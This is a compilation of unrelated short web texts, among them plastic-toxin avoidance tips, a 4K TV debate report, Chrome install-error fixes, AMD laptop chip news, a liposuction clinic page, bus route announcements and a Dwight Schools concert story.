Of course not everyone responds the same way to each of these chemicals. Various factors play a key role in determining who is adversely affected, and which of us are not susceptible to the consequences caused by environmental toxins. These factors include age, gender, our location, and the overall state of our health.
Dioxin in paper and chemicals in plastics can migrate into food. For example, everyone knows the taste of plastic found in plastic- bottled water that has been left in the sun. One should go to extremes to eliminate the circumstances that can cause such migrations of chemicals into food because some plastics can disrupt hormones.
Ways to reduce exposure to plastics toxins
- Avoid disposable plastic packages and opt for storage containers like glass that can be reused.
- Buy food in glass or paper containers or transfer to these containers shortly after purchase.
- Don't microwave or heat food in plastic containers.
- Avoid storing fatty foods, such as meat, oil, and cheese, in plastic containers or plastic wrap and don't buy fatty foods in plastic if at all possible.
- Avoid storing acidic foods in plastic like tomatoes or citrus as those tend to draw out the plastic poisons much like fats.
- Avoid storing liquids and water in plastic as those are great transporters and will help the plastic leach into the liquid.
- Don't drink the water if it tastes like plastic; plastic is sure to have leached into the drink if it does.
- Don't drink from an outdoor hose; the plastic is not food grade or safe and the harm is compounded since the hose is heated causing these chemicals to easily enter into the water that flows from the hose.
- Instead of relying upon the establishment for their containers, bring your own glass bowls to salad bars or bring your own paper cups to yogurt shops. Ask that they use your container instead of the plastic one offered for environmental and health reasons and educate others at the same time!
- Instead of plastic forks, sporks, spoons and knives, use the real thing. Use stainless steel or wooden utensils over plastic especially when cooking or heating food as well as when eating heated foods. Offer these to guests and children and even opt for the real thing in lunch boxes. Choose plastic made of corn that is compostable or opt for recycled paper products.
- Use wood instead of plastic cutting boards. Use separate boards for uncooked poultry, vegetables, uncooked meats, fruit, and cooked meats. To disinfect, there are plenty of more environmentally sound products but spraying first with vinegar and then with hydrogen peroxide should kill bacteria just as well. Then rinse well and store dry.
- Remember that the plastic wrap used in the supermarket will leach into the foods wrapped in them. Try to get foods wrapped in paper instead or if not available and they use plastic, slice off a thin layer where the food came into contact with the plastic as soon as you get home and store in a safer container (like glass, parchment, ceramic, or a safer non-PVC cling wrap.)
- Buy containers in glass or paper whenever possible. Read the bottom and refuse to buy anything packaged in the worst plastics: 3, 6, and 7. Write to the manufacturers that use plastic, especially the ones using the worst ones, and share your concern and information and tell them that you are choosing products based upon packaging as well as quality.
Ways to Avoid Packaging Toxins
- Plastic tends to migrate into fatty foods, especially hot fatty foods. Don't leave cheese wrapped in its plastic wrapper sitting in the sun! Cool leftovers before placing in plastic storage containers.
- Plastic wrap should never come into direct contact with fatty food in the microwave. It is also important not to use leftover margarine or yogurt tubs in the microwave. Use ceramic or glass cookware instead.
- Microwavable packages should be avoided. Polyethylene terephthalate (PET) migrates from the packaging into the food, as do the adhesive components (and their degraded products) of the package.
- A 1988 FDA study of microwavable packaging components, called heat susceptors, showed that low levels of the carcinogen benzene could migrate into food when heated.
- Skip the boil-in-a-plastic bag foods, as well as sous vide foods--foods that are vacuum packed.* When you can, replace plastic cups and other eating utensils that come into contact with hot fatty foods with glass or metal. For example, instead of buying a plastic thermos, consider a metal one.
- As much as possible, avoid food, water, and other beverages sold in plastic containers and bottles. For example, try to buy water from distributors who can deliver large glass jugs in convenient dispensers.
- Package components can migrate into wet food, especially if the food contains alcohol, acid, or fat.
- Use substitutes for bleached paper products that can come in contact with food, such as gold coffee filters and glass bottles.* Avoid packaging with antioxidant preservatives such as BHT, an additive with a questionable safety record.
- Avoid buying imported food in cans sealed by soldering. The soldering may contain lead. Lead-soldered cans are bumpy feeling under the seam, as opposed to seamless or welded cans.
- Many cans have plastic coatings that line the inside of the can out of concern that the metal might contaminate the food. Eighty-five percent of the cans sold in the United States have such linings, and the plastic coating leaches substances into the food, which can disrupt the hormonal system, according too Our Stolen Future. When you buy the cans there is no way to tell which cans are lined with plastic and which aren't.


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AMSTERDAM – When considering a move to 4K, think "before you trash your share prices," warned U.K.-based journalist and media commentator Raymond Snoddy during a spirited debate held on Saturday at the International Broadcasters Convention.
During the session, industry vets (who were handed sides, not based on their individual company affiliation) were asked to argue for or against a move beyond HD toward 4K or higher. At the conclusion, the audience took a vote on the issue.
Snoddy warned the audience to pay attention to the audience and not to proceed down "the path of diminishing returns."
STORY: Spike Lee to Use Sony's 4K Camera for Next Movie
He also debunked the argument that market research shows that consumers want Ultra HD TV. "They want Ultra HD TV, but haven't seen it. What does that tell you about the market research? … Consumers want to change their TVs as often as their phones? Dream on."
Also arguing against higher resolution was U.S.-based media consultant and engineer Mark Schubin. "Unquestionably, you can see the difference between HD and 4K. So what?" he asked. "It's the difference between very good and very good."
Arguing for a move to higher resolution, Ericsson's Giles Wilson asserted: "Ultra HD is about a sense of presence, not resolution. It's about moving from viewing it to experiencing it."
Arris' Sean McCarthy urged the audience not to liken this decision to 3D. "You don't have to have everything (i.e. the content, the set penetration) at one time," he said. "An HD signal on an Ultra HD TV looks so much better [than on an HD set]. It's a step-by-step process."
In the end, the audience voted by a show of hands whether they felt the industry should go beyond HD. Both sides got votes, but in the end, most voted against it.
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Hi, nothing major just saying I have created some accounts to split interests as I see a lot of people do it and I figured it would be easier on yous all.
I will only have one website of course, this one, where I will post everything but for the other Social, they will be split between Yuri relateed content and none-yuri related. Specifically I am talking about Twitter and YouTube.
So, if you are human and have different interests, I have created a YouTube account for none yuri vids and same for twiiter (I know I did this before but things didn't work out then. Hey, what is life if not filled with failures!)


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What is your understanding of Pentecostalism and the Charismatic movement?
My conversation with Steve Hayes last year highlighted for me that even in the world beyond America our understandings of Pentecostalism can differ.
If the Evangelical movement is characterised by conversionism, activism, biblicism and crucicentrism, as David Bebbington suggests, and the Anabaptist movement is characterised by Christo-centrism, communitarianism and pacifism, as Becker and Bender suggest, then what would you say are the distinctive features of Pentecostalism and the Charismatic movement?
In my experience it would be an emphasis on the Holy Spirit, spiritual gifts (especially tongues, prophecy and healing) and enthusiastic worship. Flowing from the emphasis on Spiritual power and healing is also an emphasis on prosperity and entrepreneurialism. How does that gel with your experience? Know of any definitions widely accepted by Pentecostals and Charismatics from multiple traditions?


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Did you receive error 1603 and 0x00000643 on Windows when installing or updating Chrome on Windows 10/8/7? While most of the error can be resolved by simple troubleshooting but for these errors we have specific solutions.
Chrome error 1603 & 0x00000643
1] Run Microsoft Install and Uninstall Troubleshooter
- Corrupted registry keys on 64-bit operating systems.
- Corrupted registry keys that control the update data.
- Problems that
- Prevent new programs from being installed.
- Prevent existing programs from being completely uninstalled or updated.
- Problems that block you from uninstalling a program through Add or Remove Programs (or Programs and Features) in Control Panel.
Right click on the downloaded MicrosoftProgram_Install_and_Uninstall.meta.diagcab, file and run it with admin privileges.
- It will offer you two scenarios to troubleshoot – Installing or Uninstalling.
- To resolve the current errors, select Installing.
- Next, it will reveal you a list of available programs on your computer. Select Google Update Helper from the list, and click Next.
It will start troubleshooting and apply fixes for you. It can offer you to uninstall Chrome if its the root cause. Post this; you will have download Chrome again, and reinstall it.
2] Clean Reinstall Chrome
Sometimes programs leave files behind post-uninstallation. The same happens for Chrome. Before reinstalling, you will have to make sure that you delete the User Data folder.
- Open run prompt (WIN+R)
- Type %LOCALAPPDATA%\Google\Chrome\User Data\ and hit Enter.
- Rename the 'Default' folder inside it to something else, e.g., Default.old
- Now install Chrome again, and see if the issue still exists.
3] Run Chrome Cleanup Tool
Chrome comes with an inbuilt malware scanner. Run Chrome browser's built-in Chrome's Malware Scanner & Cleanup Tool. It helps you remove unwanted ads, pop-ups & malware, unusual startup pages, toolbar, and anything else that spoils the experience. These malware crash websites by overloading the pages with memory request.
4] Other suggestions
- Make sure you have a working internet connection. You can run the network troubleshooter to make sure of it.
- If the default installer does not work properly, you can install using the standalone installer.
- Lastly, check your Firewall settings. Make sure that URLs tools.google.com and dl.google.com are not blocked. These are the sources from where the inbuilt updater of Chrome downloads new updates automatically.
Let us know if this helped you to fix the Chrome Errors on Windows.


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Mucosal tissue, also known as mucosa or the mucous membrane, lines all body passages that communicate with the air, such as the respiratory and alimentary tracts, and have cells and associated glands that secrete mucus.
The part of this lining that covers the mouth, called the oral mucosa, is one of the most sensitive parts of the body and is particularly vulnerable to chemotherapy and radiation. The oral cavity is the most common location for mucositis.
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As expected, AMD took to the CES stage this week to announce new laptop CPUs. Most of the new Ryzen 5000 mobile family of chips share similarities with the desktop CPUs the company announced a few months ago, and they'll start shipping with laptops from some of the bigger computer-makers in February.The new chips are divided into two sub-families, both at least in part based on 7nm Zen 3 tech: there's the H-series, which is meant for high-end, performance-oriented gaming and content creation notebooks, and the U-series, which takes aim at Intel's dominance in the ultraportable space with a greater focus on power efficiency.
The lineup's biggest lifters are the Ryzen 9 5980HX and 5980HS. The former is a gaming-oriented chip that will be unlocked for overclocking in some machines. The latter, meanwhile, is tuned more for laptops made for creatives. Both of these (and all but two of the chips in the Ryzen 5000 mobile family) sport eight CPU cores and 16 threads at up to 4.8Hz.
Here's a chart including specs for all the chips announced, from AMD's website:
The U-series lineup also includes 8-core chips, but as you can see, a couple 6-core ones are in there, too. While AMD has been making rival Intel's life difficult in performance-oriented machines of late, Intel still dominates the ultraportable space (for now), so AMD is surely hoping to achieve some growth there. To that point, AMD claims that the 5800U can deliver almost 18 hours of battery life for normal use cases and up to 21 for video playback. (Intel announced its own laptop chips this week, too.)
On the gaming side, AMD says the 5900HX beats Intel's Core i9-10980HK by more than 20 percent in 3DMark, which certainly seems plausible given what we saw on the desktop side—though it would of course be wise to wait and see benchmarks from someone other than AMD.
OEMs have already started announcing laptops with these chips, so we expect to see those illuminating benchmarks as early as next month.


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Wichita dealership hosts holiday event to benefit schools, charities
'Tis the season for giving! Rusty Eck Ford is kicking off their Community First campaign by giving back to holiday charities.
For the first time, students from eight schools will compete in a Christmas tree decorating contest to help the community.
Les Eck, who owns Rusty Eck Ford, says each school will be partnered with a charity and decorate a tree. The public can donate from the 'wish lists' the charities create and the school/tree with the most donations wins.
"It's just a good way to get the schools that like to do community projects, the shelters and the charities that need items during the holiday season, every holiday season the need is even greater," Eck said.
Keri McGregor is the program director at Harbor House, an organization that supports families after domestic violence. She says journals are great tools for children who have experienced trauma to cope.
"I just think it's important to never forget that there's somebody somewhere going through something, especially for those that we're serving that have been abused," McGregor said. "It's important to give back and put yourself in somebody else's shoes and do what you can, little or big in any way, shape or form it's really making a huge difference on the people that we serve."
Voting takes place from Dec 1. through Dec. 22. The winning school will be awarded the following prizes for their organization:
• 1st Place $2500 grant
• 2nd Place $1000 grant
• 3rd Place $500 grant
• 4th-8th Place $100 grants
Each Charity will be awarded their gifts from the Community First Christmas Project, their tree and a Christmas Holiday Dinner with turkey. For details on how to donate, visit:


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Performance art is for me a way to have a more realistictouch to everyday life and actions that are outside the structures of conventional
life. One line of research of my projects has been the violence as a generator of
encounters and focus areas. I believe the practice of art has the ability to deconstruct
situations hegemonic realities in different ways, I think that art in itself,
aware and responsible, is a tool for social and cultural action on the current
CV Synthesis:
Visual Artist and Performer. Workshops with Artists: Elvira
Santamaria, Miguel Rubio Zapata and Bartolomé Ferrando. Participation in
International Performance Festivals in Canada, Mexico, Guatemala, Venezuela,
Colombia, Peru, Chile and Dominican Republic.
Fausto Gracia, born on 16.12.1984 in the city of Querétaro,
Querétaro. Mexico, Study of Visual Arts at the University Autonomy of Queretaro-
Mexico 2003-2007, lived in the city of Montreal Canada 2008-2010. Now I live and
work in the city of Queretaro-Mexico, and I could participate in different
international Festivals of Performance.


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Beginning Monday, February 3, CATS will introduce
MetroRAPID, a new enhanced bus service in North Mecklenburg County.
MetroRAPID will provide commuters in Cornelius, Davidson and Huntersville with a quicker commute into Charlotte utilizing the
I-77 Express Lanes. The new service will consist of four routes, each serving different park and ride locations. Three existing express bus routes will transition to MetroRAPID routes with adjustments to routing and schedules.
MetroRAPID bus routes include:
MetroRAPID 48X: Northcross Express
Serving the Northcross Park and Ride
MetroRAPID 53X: Northlake Express
Serving the Northlake Park and Ride via Lakeview Direct Connect;
Ridge Road Park and Ride
MetroRapid 63X: Huntersville Express (new)
Serving the Huntersville-Gateway Park and Ride via Hambright Direct Connect and Statesville Road
MetroRAPID 77X: North Mecklenburg Express
Serving the Cornelius Park and Ride (replaces service on the 48X)
Davidson-Gateway Park and Ride
The price to ride a MetroRAPID route is $3 one way, the same as CATS express fare. Riders will pay no additional cost to utilize the I-77 lanes, which can save up to $10 a day and more than $3,000 a year.
In conjunction with the launch of MetroRAPID, CATS will also implement a new shuttle service, Route 290 Davidson Shuttle. The shuttle will provide connections between Metro RAPID 77X and the Town of Davidson. The price to ride the shuttle will be $0.90 one-way.


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So many people in the younger generation are focused on leading healthier and better lives. Since the rates of health conditions like diabetes, obesity and more are higher than ever, making a conscious decision about your life style is important to do today. But it is not only our physical health we should focus on. Our mental and emotional health are also important in an equal manner. A lot of people in the world, around four hundred and million, suffer from or are experiencing a mental health condition. This is why it is so important to ensure good mental health today more than ever! A lot of people go through many traumatic events in their life and this is also one reason as to why there is a rise in mental health problems. Neglecting your mental health problems is not wise to do and so, you need to get the treatments you need via a professional psychologist in Burwood. Here are 3 reasons to seek out psychotherapy treatments.
Major depression
If you are suffering from depression or have been diagnosed by a major depressive disorder, you need to make sure that you get all the help you need. This is an important as anything else in your life! Depression has now become one of the leading causes of disability in the world and is also a leading cause in global suicides as well. Getting professionals like counselling is going to help you in many ways to balance a life with depression in the right way. Getting the right treatments can heal you and get rid of the disorder in time.
Anxiety disorders
While depression is the most common mental health issue in the world, anxiety disorders follow closely behind. A large portion of the people in the world are said to be suffering from at least one kind of anxiety disorder and so, the severity of the condition can be noticed here. If you do not try to get help through professionals for your anxiety, it can cripple so many aspects of your life and would keep you from enjoying your life in the right way! So, if you suffer from anxiety, professional help is more important than you think.
Stress management
Nowadays whether you are a family man, working adult or a college student, stress has managed to become a very normal part of life for a lot of people. Stress can have a bad effect on your mental health and your physical health as well. So, stress management through professional help can change your life.


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What are Mbit/s (Mbps), kbit/s (kbps), MB/s, kB/s?
When you're describing the speed of your connection, the bit scale should be used. If you're describing how fast a file transferred, use bytes. Note, when you write these abbreviations they are case sensitive.
The bit scale - Connection Speed / Throughput
The smallest amount of information on a computer is called a bit. 1 kilobit (kbit) is 1000 bits, as "kilo" in the word suggests. 1 Megabit (Mbit) is 1000 kilobits or 1,000,000 bits. 1 Gigabit (Gbit) is 1000 Megabits. Far beyond your purpose in testing here, using the same scale you'll arrive at Terabit (Tbit), Petabit (Pbit), Exabit (Ebit), Zettabit (Zbit) and Yottabit (Ybit). e.g. When TestMy.net says your connection is 512 kbit/s, that's 512 kilobits per second. When you see 52 Mbit/s, that's 52 Megabits per second.
The byte scale - Binary File Transfer Speed
Here is where is can get a little confusing. Another scale is the byte scale. Bytes are used when talking about binary data, like files. The reason there's a difference is because in binary data the information is stored using coded symbols, each consisting of 8 bits of information. Early computer systems used 4-bit, 6-bit and even 7-bit binary coded decimal representations. By the 70's 8-bit was the standard architecture. The byte scale is different than the bit scale, each step up is by a factor of 1024 not 1000. Although, a common misconception is that this also applies to networking, it doesn't. In the context of networking speeds the factor is 1000 not 1024. This has more to do with sales and marketing and less to do with true binary law. Where the number of memory locations is always a power of 2 (e.g. 210 is 1024). Manufactures started selling their products using a factor of 1000 because it's easier for the consumer to understand. For instance, it can be pretty confusing to the lay person when you tell them that doubling 32K memory results in 65K. To alleviate the confusion new abbreviations were created to represent a conversion with a factor of 1024 (e.g. KiB, MiB, GiB). But this has not been adopted by everyone. So 1 kB can mean 1000 bytes or 1024 bytes depending on who you ask. A good rule of thumb is that if you're talking about memory allocation or storage use a factor of 1024. In the context of networking a factor of 1000 is industry standard. This confuses even the most knowledgeable computer technicians and there can be a lot of debate that surrounds the issue.
So now you should know that 1 byte is equal to 8 bits. 1 kilobyte (kB) is 1024 bytes. 1 Megabyte (MB) is 1024 kilobytes. 1 Gigabyte (GB) is 1024 Megabytes. But that 1 kB/s is equal to 1000 bps. 1 MB/s is 1000 kB/s. 1 GB/s is 1000 MB/s. Using the same scales you then arrive at Terabyte (TB) / Terabytes per second (TB/s), Petabyte (PB) / Petabytes per second (PB/s), Exabyte (EB) / Exabytes per second (EB/s), Zettabyte (ZB) / Zettabytes per second (ZB/s) and Yottabyte (YB) / Yottabytes per second (YB/s). e.g. When TestMy.net says your speed is 465 kB/s, that's 465 kilobytes per second. When you see 2.8 MB/s, that's 2.8 Megabytes per second. Because TMN is in the context of networking, conversion using a factor of 1000 bytes per kilobyte is used.
Your TestMy Speed Test Results
TestMy.net displays your results in both formats because some people want to know their connection speed (shown in kbit/s and Mbit/s). Others want to know the speed of their binary (file) transfer (shown in kB/s and MB/s). Some other websites may confuse you by displaying speeds in bps (bits per second, for instance) and people from other countries may abbreviate differently. TestMy.net will display your speeds using the correct up conversions and English abbreviations. Nobody ever says, "My connection is 50,000,000 bps" or "... 50,000 kbit/s"... you'd instead say 50 Mbit/s. Right? So, TestMy saves you time by converting your speeds automatically when necessary.
Reference Binary Prefix on Wikipedia


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Power Rangers Series 1
#16 - Kimberly, The Pink Ranger™
Power Ranger: The Pink Ranger
Power Weapon: Power Bow
Ninjazord: Crane
Kimberly is the Pink Ranger, a color that often brings comfort to her fellow Rangers. Her beauty and friendly nature fill all of those around her with love. Kimberly is extremely flexible due to her many years of rigorous gymnastic training. This training also makes her very fast and is responsible for her exciting acrobatic offensive and defensive martial arts skills.
Triangle of Power Rule #3: The Evil Space Aliens Medallion beats the Power Teens Medallion, because Lord Zedd can defeat any human. But, the Evil Space Aliens Medallion loses to the Mighty Morphin Medallion, because Zedd is no match for a morphed Ranger.


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Archive for July 12, 2013
fairy bird in frame
Three challenges , Casual Friday polka dots, The Play Date Cafe colors and CAS(e) this sketch . The bird is a digital stamp from A Day For Daisies.( i know it kinda matches the sketch pretty close huh?). done in PS elements
mushroom fairy
This card is for the Color Throwdown fifth year birthday challenge– the image is a fairy from a day for daisies. since BROWN & TURQUOISE are so prominent I'll enter it in My time to craft.


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Liposuction, also known as liposculpture or suction assisted lipectomy, is a technique to remove unwanted fat deposits. The unsightly distribution of body fat is usually due to an inborn tendency to deposit fat in one particular area of the body, most commonly the hips. Other areas include; the neck, arms, tummy, loins, thighs, inner side of the knees and the ankles. The growth of a benign fat tumour (lipoma) can also be a disfigurement, and in men fatty swellings can develop under the nipples to look like breasts (gynaecomastia).
|Operation time
|1 - 2 hrs
|Nights in hospital
|Day Surgery
|Risks - common
|bruising, swelling, temporary numbness, temporary skin irregularity
|Risks - uncommon
|infection, excessive scarring, asymmetry, bleeding, permanent numbness, permanent nerve damage, fat necrosis, skin dimpling or contour irregularity
|Pain and discomfort
|3 - 7 days
|Follow-up after surgery
|1 week, 3 months
|Time off work
|1 - 2 weeks
|2 weeks - walking 4 weeks - everything
|12 weeks until final result scars continue to improve over 18 months
|Small Area
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|Medium Area
|From £5,688
|Large Area
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|Complex Area
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Instructions on discharge
- On the day of discharge there will be waterproof dressings under the pressure garment.
- Pressure garment to be worn day and night for 2 weeks but can be removed once a day for a quick shower.
- TED stockings to be worn for 2 weeks.
- One spare pressure garment will be provided.
- Discharge with standard painkillers.
- Drink a lot of fluid to replace the fluid removed during the liposuction.
- Usually about a week after the surgery when the wounds will be inspected.
- No restrictions on activities but wise to avoid anything strenuous for the first 2 weeks.
- Micropore tape to the scars - once well healed - for at least 3 months. The micropore tape is to stay on for showering and baths and simply patted dry and not to be changed until it is very loose and almost falling off by itself. Frequent removal of the micropore tape can irritate the scar.
- Moisturise the scars after the first 3 months.
- Moisturise the skin.
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"My experience of cosmetic surgery has been 100% positive from start to finish. I underwent surgery which included VASER liposuction to my abdomen and neck..."
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"Only 2 weeks ago I had Vaser Liposuction to multiple areas on my legs and wish I had done this years ago! I would visit the gym 4 times a week and eat healthy..."


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Hiziki är en brun havsalg från Japan med kraftfull smak.
Fusiforme Hiziki is stringy black seaweed that grows best on submerged rocky ledges along the Pacific coast. Because it prefers sunlight, hiziki grows at a depth of one to two meters. The consistently tiny, rich black curls of Muso's hiziki indicate the highest quality available. It will cook to a firm texture that imparts a delicious, enduring taste, and its shimmering black color will highlight most meals.
Hiziki requires a year of growth and is harvested in spring by hand. Unlike other varieties of seaweed, which are merely sun-dried and require no further processing, hiziki is very tough in its natural state so that it must be dried, steamed for four hours and dried again. It is then soaked into the juice of arame(sea vegetable) to enhance the black color and sun-dried a final time.
Hiziki will keep for a long time without special storage. It is an excellent source of minerals, including iron when fresh vegetables are out of season. Hiziki contains fourteen times the calcium of cow's milk and also contains large quantities of protein, vitamin A and B, and iron. When hiziki is cooked, it will swell to 5-6 times of its actual size.
Basic preparation : * Soak hiziki in water for 15-20 minutes. (do not over-soak hiziki or it will become mushy and slick.) * Save the water which the hiziki is soaked in for use later. (It contains valuable flavors and nutrients.) * Quickly rinse the hiziki after soaking to rid it of any dirt matter.
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Here's what some of Nicole's Birth Story Medicine clients are saying
I finally feel healed! I would highly recommend!
I'm becoming more and more focused on positive thinking about the traumatic birth of my son, since my session with Nicole from 'Your Birth Support'.
Because of the support and guidance I received in my session I feel empowered.
I was given some mental tools to allow me to step back and have a birds eye view of my birth and not take on ownership of things I couldn't control and just let go of my sadness that my body didn't know what to do (even though I thought it was natural and it would all just happen).
Nicole's session was truly awakening. I didn't realise just how debilitating the birth of my son had been to my self esteem. Because I visited Nicole, my husband and I will be thrilled to work towards a more positive birth story for another child if we're blessed again.
At my session, I found Nicole's confidence in me very healing!
She had a wonderful ability to REALLY listen, to guide and give comfort and kindness…..and for that, I'm very indebted and blessed. ❤
Kristy Docking
My birth healing session was an opportunity to reflect on my birth experience from a birds' eye view. Nicole's gentle questioning technique guided me through my memories and enabled me to focus on the positive moments, which in my mind, had been overtaken by the negative.
I was overcome by emotion and teary throughout my own storytelling yet felt a deep emotional release. I left the session with a new, more realistic perspective of my experience and the tools to bring me back to the present whenever overtaken by my negative mind. Nicole was compassionate, had a strong knowledge of the birth process and had created an environment where I felt comfortable to share my story.
I recommend the Birth Healing session to all mothers: the time out to reflect on such a life-changing experience is indeed rewarding.
Keirra Patten
From the moment I was in touch with Nicole, I felt a sense of pressure release from the past 18 months since I'd given birth to my baby. Whenever I thought of my birth journey, I instantly felt anxious and was unable to tell my story without feeling negative about it.
The minute my session began, I felt relaxed and a sense of calmness. Nicole was able to get me to tap into why I felt the way that I did. I was able to realise what happened, whilst beyond my control, I have a voice and I'm important regardless of the situation. At the beginning, I was unsure what I would gain from the session, but can honestly say I'm so glad I went, I only wish I had done it sooner.


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The Founder of Merlin Works, Shana Merlin is one of the most experienced and effective improv teachers in Central Texas. Presenting and performing nationwide, some of her clients have included Dell, Goodwill, Apple, The University of Texas and HP. Shana founded Merlin Works, in 2003 to provide custom training, interactive presentations, and comedy shows to businesses and organizations using improvisation. Some of her most requested programs are on the topics of team building, communication, sales, persuasion, leadership, medical communications, and creativity. In 2008, she opened the Merlin Works Institute for Improvisation now based at ZACH Theatre, offering classes in shortform gameplay and narrative longform improv. She has also been awarded "Best Improv Teacher" and "Best Improv Class," by the Austin Improv Collective.
With nearly thirty years of experience on stage, Aden has been winning awards and recognition for her abilities since she was six years old. She spent nearly a decade as a fixture in the exploding Austin, TX improv community as a beloved singer, improviser and faculty member of the Merlin Works Institute for Improvisation. Labeled as "The funniest person in Austin," by former Second City L.A. Director Tom Booker, she is a cast member of B. Iden Payne Award winners, Girls Girls Girls Improvised Musical Comedy, an alum of world famous vaudeville revue: Esther's Follies (where she wore huge wigs, sang big songs and got massive laughs). Now, thrilled to have rejoined the trees, rain and fog as a resident of Oregon, Aden can be found playing with Manacle as a member of Infinite Improv!


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Nothing beats handmade gift for Mum with all the love you inject!
1) DIY a scrub with scent your mum like
See tutorial here, here & here.
2) Cook her a meal
Which one she likes, Italian, Japanese, Korean, Chinese, Western, Mexican or etc?
Or if you are not good in cooking, a simple breakfast with ham & omelette, sandwich, pancake, chicken porridge?
3) Upcycle a shopping tote
Instead of using plastic bags, go green with your sewed shopping tote make with scraped fabric. Embroider with your mum's monogram. Screenprint some pretty florals. Tie-dye. "Chanel-ise" it. Decorate it. Paint it.
4) Surprise her with paper floral bouquet
5) Write her a sweet note
Take out your leftover scrapbooking materials. Whip out a cute card with your sincere message.
6) Adorn her with handmade accessory – necklace, earrings, bracelets or hair clips
Try paper beads, air-dry clay! What about metalsmith jewelry? Idea 1, 2. 3. 4.
7) DIY phone casing with family photo
Do collage using family instagram. Try matching with her phone wallpaper.
8) Offer to do manicure for her
Use the same design manicure. It will be so cool to go shopping with your mum with matching manicure.
9) Bake her a cup
Personalise it with a message, decorate with her monogram, draw something she likes.
Lastly, wish all mothers a Happy Mother's Day.


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Against a spectacular modern skyline, the historic Shanghai Concert Hall stands, echoing with performances by generations of world-famous musicians who have graced the stage since its grand opening in 1930. This beautiful 1,122-seat venue was the setting for a sold-out concert entitled "Music of Spring" performed by nearly 130 students from Dwight campuses around the world. They had been preparing for this moment for months and when the time finally came, they filled the magnificent hall with music ranging from traditional Chinese and Korean folk songs, to classical, jazz, rock, and Academy Award-winning numbers ... from the sound of barrel drums beating loud as thunder to dulcimer strings being plucked delicately as if to announce peonies and lotus flowers blooming!
Outside the Concert Hall, "Music of Spring" banners graced the building's façade and lined the plaza announcing to passersby that a special event was unfolding hosted by the Shanghai Qibao Dwight High School. Inside, distinguished guests had gathered: representatives from the Minhang Education Bureau, Qibao Town, and Qibao Education Group, together with the Heads of School from every Dwight campus, parents — including some who had flown in from New York and London — and students and friends of Dwight in Shanghai.
Six Schools, One Dwight Family
The two-hour concert was the culmination of the inaugural Shanghai Music Festival, which welcomed students and music faculty from New York, London, Seoul, Dubai, and online for a week of connections, collaboration, and cultural exchange with their counterparts in Shanghai. Some students were meeting for the first time; others were reuniting after making friends at last year's Carnegie Hall concert or London Choral Extravaganza. All were excited to be part of this first international musical celebration in China, where the music selected aligned with the spring theme.
Last fall, students from each school had auditioned and music faculty across campuses began collaborating to bring the festival to life. They planned a program to showcase the unique musical heritage of their home countries, as well as the significant talent of their students, concluding with rousing medleys performed by the entire global orchestra and choir on stage together.
"The beauty of our annual global concert — no matter where in the world it takes place — is the spirit of cooperation embraced across campuses and our shared commitment to arts education as a family of schools," says Alistair Hamilton, Head of Performing Arts for Dwight in New York. "Our students work very hard on their home campuses to prepare, but it isn't until they come together with their peers from sister schools to forge friendships around music and rehearse as one prior to the concert that all the notes, literally and figuratively, come together harmoniously."
Discovering Shanghai Together
Dwight in Shanghai is distinguished as the first independent Chinese-foreign collaborative high school approved by the Ministry of Education in China. Upon opening in 2014, our boarding school introduced a new model of education, integrating the IB with courses from Chinese compulsory education — bringing the best of Eastern and Western curricula together.
Shanghai Qibao Dwight was excited to host all the other campuses and planned activities to introduce fellow Dwightonians to China and to the local culture. In a whirlwind of sightseeing, everyone visited the Pearl Tower, the Shanghai Museum, Old Water Town, the Shanghai Zoo, the Bund waterfront, Tianzifang in the French Concession area, and the Yuyuan Garden district, which was aglow with lanterns in celebration of the Lunar New Year.
There was more! An acrobatic show and an evening dedicated to creative pursuits — Chinese calligraphy, decorating fans, and making dumplings — in addition to a special flag-raising ceremony at school where the entire student body assembled and students from different campuses shared their musical sparks of genius as a preview of things to come!
Making Music Together
What was to come was a singular focus on music with several days of intensive rehearsals on campus and later at the Concert Hall, where the staging and technical aspects of the performance were finalized.
While all the musicians and singers were fine-tuning their performances, an additional 200 tenth and eleventh graders from Shanghai — those not pursuing music studies in school — participated in special workshops. Global music faculty introduced them to choral singing, jazz, music composition, playing keyboards, stage performance, and more, broadening their exposure to the arts — and possibly igniting new sparks of genius!
The Big Event
When concert day arrived, a touch of spring was in the air and our performers were ready to shine. At 3 pm, as the house lights went down, this video set the stage for what was to come — a glorious, multi-sensory celebration of spring!
As images of shy pink buds burst open and lush, color-drenched blossoms danced across the screen, the music affirmed the name of the first song: It's a Beautiful Day. With each piece, students impressed the audience with their artistry and skills. Some like the New York rock band, the London jazz band, and the Korean drum ensemble, who wrote their own vocal chants, raised the roof; others serenaded the audience with gentle sounds of traditional Chinese string instruments and chamber music. The pieces arranged for the global choir and orchestra brought the entire audience to its feet.
The talent extended beyond students, as members of the Shanghai faculty choir, which was formed last fall just for this big event, took to the stage to sing a song. Additionally, an award-winning troupe of dancers from nearby Wenlai Middle School embodied peacocks in a breathtaking performance of their own.
The concert, which began at 3 pm Shanghai time, was live-streamed on Facebook at 2 am New York time, with some parents "pulling an all-nighter" to watch their children light up the other side of the world!
Several soloists stepped into the spotlight to play instruments or sing: Cindy Oh '24 and Jennifer Choi '22 from Seoul; Barbara Chwastowska '24 and Clara Jiang '20 from London (formerly from Shanghai); Annabelle Joslin '22 from Dubai; Feng Zhou '21 from Shanghai; and Akhil Karra '22 (formerly from London), Ava Goldfarb '21, Justin Chen '21, and Jennifer Klein '21 from New York. The singers fronted the global orchestra and choir, which altogether brought down the house with medleys from "A Star Is Born" and "The Greatest Showman." Indeed, many stars were born that day!
Before the final applause, the Heads of all Dwight Schools, who were among those clapping the loudest, took to the stage to share their appreciation and congratulate the performers.
Memories to Last a Lifetime
As the trip came to an end, students wrote their reflections and shared that being part of the Shanghai Music Festival was an amazing experience that they will never forget. Each in his or her own words, echoed many of the same sentiments about how the trip had opened their eyes and ears to another culture, showed them an exciting part of the world they couldn't imagine, enabled them to explore and try new things ... how much they enjoyed making new international friends, becoming closer to their New York classmates, and coming together with everyone through a shared passion for music. One reflection spoke to this last part best:
I was entirely convinced that the world is huge, full of the most diverse people, and interesting cultures; that was, until I met the students from other campuses. Upon connecting with people from different places, raised in different cultures, yet brought together through a common passion for music, I witnessed firsthand the power that art has to build bridges and enable people who are different to empathize with each other. After this trip, I'm not sure whether the world is small, or huge and merely made small by interconnectedness; and whether people from different cultures are similar, or unique and merely united by art. In both cases, I prefer to think the latter is truest. – Bernardo Sequiera '22, who was among the Dwight global students interviewed during the concert by Chinese television